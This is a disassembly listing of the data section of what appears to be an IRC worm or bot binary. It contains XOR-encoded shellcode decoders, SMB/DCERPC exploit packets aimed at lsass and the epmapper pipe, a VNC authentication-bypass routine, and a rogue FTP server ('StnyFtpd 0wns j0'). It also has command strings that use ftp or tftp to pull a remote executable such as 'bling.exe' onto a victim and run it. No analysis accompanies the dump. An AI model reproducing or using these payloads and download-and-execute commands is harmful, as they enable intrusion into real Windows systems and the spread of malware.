XREF: sub_40CD9E+29Fo dword_4323A8 dd 3 ; DATA XREF: sub_40CD9E+246o aCccc db 'CCCC',0 ; DATA XREF: sub_40CD9E+153o align 4 loc_4323B4: ; DATA XREF: sub_40CD9E+E8o jmp short near ptr dword_4323BC ; --------------------------------------------------------------------------- db 6 dup(90h) dword_4323BC dd 0 ; CODE XREF: ___:loc_4323B4j aCmdCEchoOpenSD db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &' ; DATA XREF: ___:0040D5F4o db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0 align 4 dword_432424 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: ___:0040E02Do ; ___:0040E167o dd 1, 10001h, 1A0h, 0 dd 0C0h, 46000000h, 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_432470 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1 ; DATA XREF: sub_40DCF9+123o dd 0 dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h dd 1, 0 dd 0D5E70h, 2, 0D5E7Ch, 0 dd 10h, 0F1F19680h, 11CE4D2Ah, 20006AA6h, 0F4726EAFh, 0Ch dd 4252414Dh, 1, 0 dd 0BAADF00Dh, 0 dd 0BF4A8h, 2 dup(360h), 574F454Dh, 4, 1A2h, 0 dd 0C0h, 46000000h, 338h, 0 dd 0C0h, 46000000h, 0 dd 330h, 328h, 0 dd 81001h, 0CCCCCCCCh, 0C8h, 574F454Dh, 328h, 0D8h, 0 dd 2, 7, 4 dup(0) dd 0CD28C4h, 0CD2964h, 0 dd 7, 1B9h, 0 dd 0C0h, 46000000h, 1ABh, 0 dd 0C0h, 46000000h, 1A5h, 0 dd 0C0h, 46000000h, 1A6h, 0 dd 0C0h, 46000000h, 1A4h, 0 dd 0C0h, 46000000h, 1ADh, 0 dd 0C0h, 46000000h, 1AAh, 0 dd 0C0h, 46000000h, 7, 60h, 58h, 90h, 40h, 20h, 78h, 30h dd 1, 81001h, 0CCCCCCCCh, 50h, 2088B64Fh, 0FFFFFFFFh, 13h dup(0) dd 81001h, 0CCCCCCCCh, 48h, 660007h, 20906h, 0 dd 0C0h, 46000000h, 10h, 2 dup(0) dd 1, 0 dd 0C1978h, 58h, 60005h, 1, 9398D870h, 11D24F98h, 57BE3DA9h dd 0B2h, 310032h, 81001h, 0CCCCCCCCh, 80h, 0BAADF00Dh dd 4 dup(0) dd 144318h, 0 dd 2 dup(60h), 574F454Dh, 4, 1C0h, 0 dd 0C0h, 46000000h, 33Bh, 0 dd 0C0h, 46000000h, 0 dd 30h, 10001h, 317C581h, 4AE90E80h, 8AF19999h, 857A6F50h dd 2, 5 dup(0) dd 1, 81001h, 0CCCCCCCCh, 30h, 6E0078h, 0 dd 0DDAD8h, 2 dup(0) dd 0C2F20h, 2 dup(0) dd 3, 0 dd 3, 580046h, 0 dd 81001h, 0CCCCCCCCh, 10h, 2E0030h, 4 dup(0) dd 81001h, 0CCCCCCCCh, 68h, 0FFFF000Eh, 0B8B68h, 2, 3 dup(0) dword_4327D4 dd 20h, 0 ; DATA XREF: sub_40DCF9+136o dd 20h, 5C005Ch, 0 off_4327E8 dd offset aLafler ; DATA XREF: sub_40DCF9+15Do ; "Lafler" dd offset dword_5C0024 a12345611111111: unicode 0, <123456111111111111111.doc>,0 align 8 dword_432828 dd 81001h, 0CCCCCCCCh, 20h, 2D0030h, 0 ; DATA XREF: sub_40DCF9+174o dd 0C2A88h, 2, 1, 0C8C28h, 1, 7, 2 dup(0) off_43285C dd offset word_580046 ; DATA XREF: sub_40DCF9+45o dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset loc_42004C+2 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd offset word_580046 dd 0FFFFFFFFh, 2 dup(7FFDE0CCh), 0 aRrrrrrrrrrrrrr db '' db '' db '',0 dword_432938 dd 10016C6h ; DATA XREF: sub_40DCF9+104o dword_43293C dd 100139Dh ; DATA XREF: sub_40DCF9+FBo off_432940 dd offset dword_5C005C ; DATA XREF: sub_40DB5E+1Co ; sub_40DC41+16o align 8 off_432948 dd offset dword_49005C ; DATA XREF: sub_40DB5E+Co ; sub_40DC41+Bo dd offset aLallemant+8 dd 24h aSExploitingIpS db '[%s]: Exploiting IP: %s.',0 ; DATA XREF: ___:0040E235o ; ___:0040E99Eo ... align 10h aTftpFileTransf db '[TFTP]: File transfer complete to IP: %s',0 ; DATA XREF: ___:0040E1E8o align 4 aSPipeEpmapper db '\\%s\pipe\epmapper',0 ; DATA XREF: ___:0040DF8Do align 10h jmp short loc_4329C2 ; =============== S U B R O U T I N E ======================================= sub_4329B2 proc far ; CODE XREF: sub_4329B2:loc_4329C2p pop ebx dec ebx xor ecx, ecx mov cx, 125h loc_4329BA: ; CODE XREF: sub_4329B2+Cj xor byte ptr [ebx+ecx], 99h loop loc_4329BA jmp short loc_4329C7 ; --------------------------------------------------------------------------- loc_4329C2: ; CODE XREF: ___:004329B0j call near ptr sub_4329B2 loc_4329C7: ; CODE XREF: sub_4329B2+Ej jo short loc_432A2B cdq cdq cdq mov ch, 38h test eax, 12999999h fst dword ptr [ebp+3485E912h] adc dh, cl xchg eax, ecx adc ch, [esi-0Dh] popf sal byte ptr [ecx+2], 99h cdq cdq jnp short loc_432A49 icebp stosb stosd cdq cdq icebp out dx, al jmp far ptr 128Fh:66CDC6ABh ; --------------------------------------------------------------------------- db 71h dd 71C09DF3h, 9999991Bh, 7518607Bh, 99999809h, 9898F1CDh dd 0CF669999h, 0C9C9C989h, 0D9C9D9C9h, 8DCF66C9h, 0E6F14112h dd 0F1989999h, 4B9D999Bh ; --------------------------------------------------------------------------- adc dl, [ebp-0Dh] loc_432A2B: ; CODE XREF: sub_4329B2:loc_4329C7j mov eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dd 0EC591C81h, 0F4FAF1D3h, 0FF1099FDh, 0CD751AA9h, 0F3BDA514h dd 7B32C08Ch db 64h ; --------------------------------------------------------------------------- loc_432A49: ; CODE XREF: sub_4329B2+35j pop edi fnstsw word ptr [ebp-22982277h] mov ebp, 0BDC510A4h rcl dword ptr [eax], 1 lds edi, [ebp-423AEF2Bh] leave adc al, 0DDh mov ebp, 0C8C9CD89h enter 0FFFFF3C8h, 98h enter 66C8h, 0EFh test eax, 9DCF66C8h adc dl, [ebp-0Dh] db 66h, 66h test al, 66h iret sub_4329B2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- xchg eax, ecx retf 0CF66h ; --------------------------------------------------------------------------- dw 6685h dd 0CFC895CFh, 12A5DC12h, 9AE1B1CDh, 0EB12CB4Ch, 0AA6C9AB9h dd 34D8D050h, 42AA5C9Ah, 0A3892796h, 5891ED4Fh, 439A9452h dd 0A26872D9h, 0C37EEC86h, 9ABDC312h, 9512FF44h, 85C312D2h dd 9D12449Ah, 325C9A12h, 715AC0C7h, 66666699h, 7597D717h dd 8F2A67EBh, 579C4034h, 0F9795776h, 0A2657452h, 346C9040h dd 0F9336075h, 0E05FE07Eh, 0 ; --------------------------------------------------------------------------- loc_432AF0: ; DATA XREF: sub_40E3F1+156o ; sub_40E3F1+212o jmp short loc_432B02 ; =============== S U B R O U T I N E ======================================= sub_432AF2 proc near ; CODE XREF: sub_432AF2:loc_432B02p pop edx dec edx xor ecx, ecx mov cx, 17Dh loc_432AFA: ; CODE XREF: sub_432AF2+Cj xor byte ptr [edx+ecx], 99h loop loc_432AFA jmp short loc_432B07 ; --------------------------------------------------------------------------- loc_432B02: ; CODE XREF: ___:loc_432AF0j call sub_432AF2 loc_432B07: ; CODE XREF: sub_432AF2+Ej jo short near ptr dword_432A80+1Eh cwde cdq cdq retn sub_432AF2 endp ; sp-analysis failed ; --------------------------------------------------------------------------- db 0FDh, 38h, 0A9h dd 12999999h, 0E91295D9h, 0D9123485h, 12411291h, 0ED12A5EAh dd 6A9AE187h, 9AB9E712h, 8DD71262h, 0CECF74AAh, 9AA612C8h dd 0F36B1262h, 3F6AC097h, 0C6C091EDh, 0DC9D5E1Ah, 0C6C0707Bh dd 125412C7h, 5A9ABDDFh, 589A7848h, 12FF50AAh, 85DF1291h dd 78585A9Ah, 12589A9Bh, 125A9A99h, 1A6E1263h, 4912975Fh dd 71C09AF3h, 9999991Eh, 0CB945F1Ah, 65CE66CFh, 0F34112C3h dd 0ED71C09Ch, 0C9999999h, 0F3C9C9C9h, 669BF398h, 411275CEh dd 999B9E5Eh dword_432BA0 dd 59AA4B9Dh, 0F39DDE10h, 66CACE89h, 98F369CEh, 6DCE66CAh ; DATA XREF: sub_40E3F1+105o dd 66CAC9C9h, 491261CEh, 12DD751Ah, 0F359AA6Dh, 9D10C089h dd 10627B17h, 0CF10A1CFh, 0D9CF10A5h, 0B5DF5EFFh, 0DE149898h dd 0AACFC989h, 0C8C8C850h, 0C8C898F3h, 0FAA5DE5Eh, 1499FDF4h dd 0C8C9A5DEh, 0CB79CE66h, 0CA65CE66h, 0C965CE66h, 0AA7DCE66h dd 591C3559h, 0CBC860ECh, 4B66CACFh, 7B32C0C3h, 5A59AA77h dd 66677671h, 0EDFCDE66h, 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh dd 0F8FCEBDAh, 0EBC9FCEDh, 0EAFCFAF6h, 0DC99D8EAh, 0CDEDF0E1h dd 0F8FCEBF1h, 0F6D599FDh, 0F0D5FDF8h, 0EBF8EBFBh, 0EE99D8E0h dd 0AAC6ABEAh, 0CACE99ABh, 0FAF6CAD8h, 0D8EDFCF2h, 0F7F0FB99h dd 0F0F599FDh, 0F7FCEDEAh, 0FAFAF899h, 99EDE9FCh, 0EAF6F5FAh dd 0FAF6EAFCh, 99EDFCF2h, 0 dword_432C88 dd 85000000h, 424D53FFh, 72h, 0C8531800h, 3 dup(0) ; DATA XREF: ___:0040E8A6o dd 0FEFF0000h, 0 dd 2006200h aPcNetworkPro_0 db 'PC NETWORK PROGRAM 1.0',0 db 2 db 4Ch ; L db 41h, 4Eh, 4Dh db 41h ; A db 4Eh, 31h, 2Eh db 30h ; 0 align 2 dw 5702h aIndowsForWor_0 db 'indows for Workgroups 3.1a',0 db 2 dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh dd 544E0200h, 204D4C20h, 32312E30h, 0 dword_432D14 dd 0A4000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8D2o dd 0FEFF0000h, 100000h, 0A400FF0Ch, 0A110400h, 0 dd 20000000h, 0 dd 0D400h, 4E006980h, 534D4C54h, 1005053h, 97000000h, 0E00882h dd 4 dup(0) aWindows2000219: unicode 0, <Windows 2000 2195>,0 aWindows20005_0: unicode 0, <Windows 2000 5.0>,0 align 10h dword_432DC0 dd 0DA000000h, 424D53FFh, 73h, 0C8071800h, 3 dup(0) ; DATA XREF: ___:0040E8F9o dd 0FEFF0000h, 200800h, 0DA00FF0Ch, 0A110400h, 0 dd 57000000h, 0 dd 0D400h, 4E009F80h, 534D4C54h, 3005053h, 1000000h, 46000100h dd 0 dd 47000000h, 0 dd 40000000h, 0 dd 40000000h, 6000000h, 40000600h, 10000000h, 47001000h dd 15000000h, 48E0888Ah, 44004F00h, 19810000h, 0E4F27A6Ah dd 0AF281C49h, 10742530h, 575367h, 6E0069h, 6F0064h, 730077h dd 320020h, 300030h, 200030h, 310032h, 350039h, 570000h dd 6E0069h, 6F0064h, 730077h, 320020h, 300030h, 200030h dd 2E0035h, 30h, 0 dword_432EA0 dd 5C000000h, 424D53FFh, 75h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+58o dd 0FEFF0000h, 300800h, 5C00FF04h, 1000800h, 3100h, 5C005Ch dd 390031h, 2E0032h, 360031h, 2E0038h, 2E0031h, 310032h dd 5C0030h, 500049h aC_0: ; DATA XREF: sub_40E3F1+8Ao unicode 0, <C$>,0 a????? db '?????',0 dd 0 dword_432F04 dd 64000000h, 424D53FFh, 0A2h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2AAo dd 4DC0800h, 400800h, 0DE00FF18h, 0E00DEh, 16h, 0 dd 2019Fh, 3 dup(0) dd 3, 1, 40h, 2, 1103h, 6C005Ch, 610073h, 700072h, 63h dd 0 dword_432F70 dd 9C000000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+2D1o dd 4DC0800h, 500800h, 48000010h, 0 dd 4, 2 dup(0) dd 48005400h, 2005400h, 2600h, 10005940h, 50005Ch, 500049h dd 5C0045h, 0 dd 30B0005h, 10h, 48h, 1, 10B810B8h, 0 dd 1, 10000h, 3919286Ah, 11D0B10Ch, 0C000A89Bh, 0F52ED94Fh dd 0 dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0 dword_433014 dd 0F40C0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+3B0o dd 4DC0800h, 600800h, 0A0000010h, 0Ch, 4, 2 dup(0) dd 0A0005400h, 200540Ch, 2600h, 100CB140h, 50005Ch, 500049h dd 5C0045h, 0 dd 3000005h, 10h, 0CA0h, 1, 0C88h, 90000h, 3ECh, 0 dd 3ECh, 0 off_433094 dd offset loc_401495 ; DATA XREF: sub_40E3F1+3DEo dd 3, 40707Ch, 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd offset loc_40707B+1 dd 1, 0 dd 1, 0 dd 138578h, 0E9A65BABh, 0 dword_433128 dd 0F8100000h, 424D53FFh, 2Fh, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+306o dd 0FEFF0800h, 600800h, 0DE00FF0Eh, 4000DEh, 0FF000000h dd 8FFFFFFh, 10B800h, 4010B800h, 0 dd 0EE10B900h, 1000005h, 10h, 10B8h, 1, 200Ch, 90000h dd 0DADh, 0 dd 0DADh, 0 dword_433194 dd 0D80F0000h, 424D53FFh, 25h, 0C8071800h, 3 dup(0) ; DATA XREF: sub_40E3F1+331o dd 1180800h, 700800h, 84000010h, 0Fh, 4, 2 dup(0) dd 84005400h, 200540Fh, 2600h, 0F9540h, 50005Ch, 500049h dd 5C0045h, 0 dd 2000005h, 10h, 0F84h, 1, 0F6Ch, 90000h, 0 dword_433208 dd 0 ; DATA XREF: sub_40E3F1+35Fo dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 0 dd offset loc_40A897+3 dd 1, 0 dd 1, 2 dup(0) word_433290 dw 0AD9Dh ; DATA XREF: sub_40E292+30r ; sub_40E3F1+E7r align 4 dd 2 dup(0) aWinxpProfessio db 'WinXP Professional [universal] lsass.exe ',0 align 10h dword_4332D0 dd 1004600h ; DATA XREF: sub_40E3F1+140r ; sub_40E3F1+245r dd 1, 326E6957h, 7250206Bh, 7365666Fh, 6E6F6973h, 20206C61h dd 755B2020h, 6576696Eh, 6C617372h, 656E205Dh, 70617274h dd 6C6C642Eh, 2 dup(0) dd 7515123Ch, 2, 326E6957h, 6441206Bh, 636E6176h, 53206465h dd 65767265h, 535B2072h, 205D3450h, 20202020h, 656E2020h dd 70617274h, 6C6C642Eh, 2 dup(0) dd 751C123Ch, 0Fh dup(0) aEchoOpenSDOEch db 'echo open %s %d > o&echo user 1 1 >> o &echo get bling.exe >> o &' ; DATA XREF: sub_40E292+BCo db 'echo quit >> o &ftp -n -s:o &bling.exe',0Dh,0Ah,0 align 4 aTftpISGetS db 'tftp -i %s get %s',0Dh,0Ah,0 ; DATA XREF: sub_40E292+97o ; --------------------------------------------------------------------------- loc_433408: ; DATA XREF: sub_40E3F1+177o jmp short loc_433410 ; --------------------------------------------------------------------------- jmp short loc_433412 ; --------------------------------------------------------------------------- align 10h loc_433410: ; CODE XREF: ___:loc_433408j ; DATA XREF: sub_40E3F1+27o pop esp pop esp loc_433412: ; CODE XREF: ___:0043340Aj and eax, 70695C73h arpl [eax+eax], sp ; --------------------------------------------------------------------------- dw 0 dword_43341C dd 1CEC8166h ; DATA XREF: sub_40E3F1+Dr dword_433420 dd 0E4FF07h ; DATA XREF: sub_40E3F1+16r dword_433424 dd 200F1001h, 0Ah, 1001802h, 0 ; DATA XREF: sub_40EAE9+5Ao dd 14002400h, 0D9D2C9B7h, 34EF333Eh, 431F25h, 2F5C0202h dd 3Fh dup(61616161h), 62616161h, 40h dup(62626262h), 22220101h dd 3Fh dup(22222222h), 1222222h, 64646401h, 3Fh dup(64646464h) dd 1016464h, 40h dup(65656565h), 66010165h, 40h dup(66666666h) dd 67670101h, 3Fh dup(67676767h), 1676767h, 68686801h dd 3Fh dup(68686868h), 1016868h, 40h dup(69696969h), 6A010169h dd 40h dup(6A6A6A6Ah), 6B6B0101h, 3Fh dup(6B6B6B6Bh), 16B6B6Bh dd 6C6C6C01h, 8 dup(6C6C6C6Ch), 41416C6Ch, 100D06EBh, 6D6D501Eh dd 0E983C933h, 0D9EED9B0h, 5BF42474h, 0C8137381h, 83877FD9h dd 0F4E2FCEBh, 0CA94B334h, 78802020h, 0EBF4B937h, 0C2F4FDECh dd 820352F4h, 0C90D8B0h, 0D8F4C187h, 0CE94D8E8h, 86F4ED43h dd 1EBFE826h, 0F3BF5D64h, 8AB518CFh, 73941BC9h, 0AF5B8DF3h dd 0D8F43CBDh, 0E194D8ECh, 0C34D543h, 6C7EC597h, 0EF4F5CBh dd 0E663FDA4h, 0E3A4E80Bh, 0C4F9A43h, 0F7F4D588h, 0C7F474D4h dd 91787C0h, 0D793D786h, 0D4190F37h, 0B54CB1AEh, 0B50CAEA0h dd 57808D97h, 7B9212A0h, 518089F3h, 0E19A5097h, 85773449h dd 787DB39Dh, 8EA6B118h, 7828743Dh, 0D42C8A1Eh, 0D43C8A9Bh dd 57808A8Bh, 0EC5EB1AEh, 66F68AAEh, 9DDBB15Dh, 78281EB8h dd 0D66FB31Eh, 0EFAF269Dh, 6E51746Ch, 0D4A9269Fh, 0EFAF269Dh dd 0CEF9902Dh, 0D7A9269Fh, 782A8D9Ch, 60174A18h, 0D0061FB1h dd 782A0F37h, 0E315BF18h, 0EA1CB1AEh, 0D7153C41h, 0EB3F091h dd 0E3BB32Fh, 74BFE82Ah, 0AA3D2762h, 14539B36h, 2C47A345h dd 0F5177263h, 78696A36h, 51809DBDh, 0D62D8E93h, 86158899h dd 0D62A8899h, 2A170937h, 0D4B1DC11h, 78150F37h, 5780EE37h dd 4838E43h, 5180BD0Ch, 0EFAF269Ah, 0D87B5338h, 78A9269Bh dd 877FD918h aMmmmmmmmmmmmmm db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm' db 'mmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmmm',0 align 4 aCmdCEchoOpen_0 db 'cmd /c echo open %s %d >> ii &echo user 1 1 >> ii &echo get %s >>' ; DATA XREF: sub_40E9FB+92o db ' ii &echo bye >> ii &ftp -n -v -s:ii &del ii &%s',0Dh,0Ah,0 aVncD_DSSAuthby db 'VNC%d.%d %s: %s - [AuthBypass]',0 ; DATA XREF: ___:0040EE25o align 4 aRfb03d_03d db 'RFB %03d.%03d',0Ah,0 ; DATA XREF: ___:0040ECB2o align 4 word_4346DC dw 1 ; DATA XREF: ___:0040EC29r ; sub_41B55B+24r ... align 10h dword_4346E0 dd 2E646D63h, 657865h, 6F686365h, 65706F20h, 7325206Eh ; DATA XREF: sub_41A1B1+21o dd 20642520h, 6F203E3Eh, 68636526h, 7375206Fh, 31207265h dd 6F3E3E20h, 63652620h, 31206F68h, 6F3E3E20h, 63652620h dd 67206F68h, 25207465h, 3E3E2073h, 6526206Fh, 206F6863h dd 20657962h, 206F3E3Eh, 70746626h, 206E2D20h, 6F3A732Dh dd 65642620h, 462F206Ch, 20512F20h, 2526206Fh, 0A0D73h dd 20313232h, 646F6F47h, 20657962h, 70706168h, 30722079h dd 6E697430h, 0A2E67h, 20353234h, 276E6143h, 706F2074h dd 64206E65h, 20617461h, 6E6E6F63h, 69746365h, 0A2E6E6Fh dd 0 dd 392C3003h, 5E5E207Ch, 534F4241h, 5E374C41h, 37C205Eh dd 7C312C30h, 77305020h, 75467233h, 20796C6Ch, 2C31037Ch dd 207C2038h, 336E5730h, 203E2044h, 7325h, 20363232h, 6E617254h dd 72656673h, 6D6F6320h, 74656C70h, 0A2E65h, 20303531h dd 6E65704Fh, 20676E69h, 414E4942h, 6D205952h, 2065646Fh dd 61746164h, 6E6F6320h, 7463656Eh, 0A6E6F69h, 0 aRetr db 'RETR',0 align 4 a200PortCommand db '200 PORT command successful.',0Ah,0 align 4 aS_S_S_S db '%s.%s.%s.%s',0 aXX db '%x%x',0Ah,0 align 10h aS_2 db '%*s %[^,],%[^,],%[^,],%[^,],%[^,],%[^',0Ah db ']',0 aPort db 'PORT',0 align 10h a226TransferCom db '226 Transfer complete',0Ah,0 align 4 aList_0 db 'LIST',0 align 10h a425PassiveNotS db '425 Passive not supported on this server',0Ah,0 align 4 aPasv db 'PASV',0 align 4 a200TypeSetToI_ db '200 Type set to I.',0Ah,0 aI_0: ; DATA XREF: ___:004387E8o unicode 0, <I>,0 a200TypeSetToA_ db '200 Type set to A.',0Ah,0 aA_0: ; DATA XREF: ___:004387F4o unicode 0, <A>,0 aType db 'TYPE',0 align 4 a257IsCurrentDi db '257 "/" is current directory.',0Ah,0 align 4 dd offset dword_445750 a350Restarting_ db '350 Restarting.',0Ah,0 align 4 aRest db 'REST',0 align 4 a215Stnyftpd db '215 StnyFtpd',0Ah,0 align 4 aSyst db 'SYST',0 align 4 a230UserLoggedI db '230 User logged in.',0Ah,0 align 4 aPass_0 db 'PASS',0 align 4 a331PasswordReq db '331 Password required',0Ah,0 align 4 aUser_2 db 'USER',0 align 4 aSS_2 db '%s %s',0 align 4 a220Stnyftpd0wn db '220 StnyFtpd 0wns j0',0Ah,0 align 4 unk_4349C4 db 2Dh ; - ; DATA XREF: sub_40FAD6+3F8o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aServerFailedRe db ' server failed, returned %d',0 asc_4349EC db 0Dh,0Ah,0 ; DATA XREF: sub_40FAD6+2CFo ; sub_41AA1E+F5o align 10h aGet_0 db 'GET ',0 ; DATA XREF: sub_40FAD6+269o align 4 aHttp1_0200Ok_0 db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+F7o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Content-Length: %i',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHttp1_0200OkSe db 'HTTP/1.0 200 OK',0Dh,0Ah ; DATA XREF: sub_40FF31+D4o db 'Server: myBot',0Dh,0Ah db 'Cache-Control: no-cache,no-store,max-age=0',0Dh,0Ah db 'pragma: no-cache',0Dh,0Ah db 'Content-Type: %s',0Dh,0Ah db 'Accept-Ranges: bytes',0Dh,0Ah db 'Date: %s %s GMT',0Dh,0Ah db 'Last-Modified: %s %s GMT',0Dh,0Ah db 'Expires: %s %s GMT',0Dh,0Ah db 'Connection: close',0Dh,0Ah db 0Dh,0Ah,0 align 4 aHhMmSs db 'HH:mm:ss',0 ; DATA XREF: sub_40FF31+98o ; sub_41AF8F+1AEo align 10h aDddDdMmmYyyy db 'ddd, dd MMM yyyy',0 ; DATA XREF: sub_40FF31+84o align 4 aApplicationOct db 'application/octet-stream',0 ; DATA XREF: sub_40FF31:loc_40FF97o align 10h aTextHtml db 'text/html',0 ; DATA XREF: sub_40FF31+5Fo align 4 unk_434C0C db 2Dh ; - ; DATA XREF: sub_4100B4+296o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aFailedToSta_34 db ' failed to start worker thread, error %d',0 align 4 unk_434C44 db 2Dh ; - ; DATA XREF: sub_4100B4+212o db 3, 34h, 2 db 68h ; h db 2 dup(74h), 70h db 64h ; d db 2, 3, 2Dh aWorkerThreadOf db ' worker thread of server thread: %d.',0 align 4 asc_434C78: ; DATA XREF: sub_4100B4+15Ao unicode 0, <*>,0 aS_3 db '\%s',0 ; DATA XREF: sub_4100B4+2Fo aFoundIFilesAnd db 'Found: %i Files and %i Directories',0Dh,0Ah,0 ; DATA XREF: sub_41036B+652o align 4 aTrTdColspan3_0 db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+637o db '<TD COLSPAN="3"><HR></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah db '</TABLE>',0Dh,0Ah db '</BODY>',0Dh,0Ah db '</HTML>',0Dh,0Ah,0 align 10h aPrivmsgSFoundS db 'PRIVMSG %s :Found %s Files and %s Directories',0Ah,0 ; DATA XREF: sub_41036B+61Co align 10h a31s21sIBytes db '%-31s %-21s (%i bytes)',0Dh,0Ah,0 ; DATA XREF: sub_41036B+58Do align 4 aTdTdWidthDCo_0 db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+571o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>%dk</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 aCodeSCodeA_0 db '"><CODE>%s</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410893o align 4 aCode_30sGtCode db '"><CODE>%.30s></CODE></A>',0 ; DATA XREF: sub_41036B+521o align 4 aPrivmsgS31s2_0 db 'PRIVMSG %s :%-31s %-21s (%s bytes)',0Ah,0 ; DATA XREF: sub_41036B+46Eo align 4 a31s21s db '%-31s %-21s',0Dh,0Ah,0 ; DATA XREF: sub_41036B+42Fo align 4 aTdTdWidthDCode db '</TD>',0Dh,0Ah ; DATA XREF: sub_41036B+3F9o db '<TD WIDTH="%d"><CODE>%s</CODE></TD>',0Dh,0Ah db '<TD WIDTH="%d" ALIGN="right"><CODE>-</CODE></TD>',0Dh,0Ah db '</TR>',0Dh,0Ah,0 align 4 aCodeSCodeA db '"><CODE>%s/</CODE></A>',0 ; DATA XREF: sub_41036B:loc_410725o align 4 aCode_29sGtCode db '"><CODE>%.29s>/</CODE></A>',0 ; DATA XREF: sub_41036B+3B3o align 4 aSS_0 db '%s%s/',0 ; DATA XREF: sub_41036B+36Co align 4 aTrTdWidthDAHre db '<TR>',0Dh,0Ah ; DATA XREF: sub_41036B+328o ; 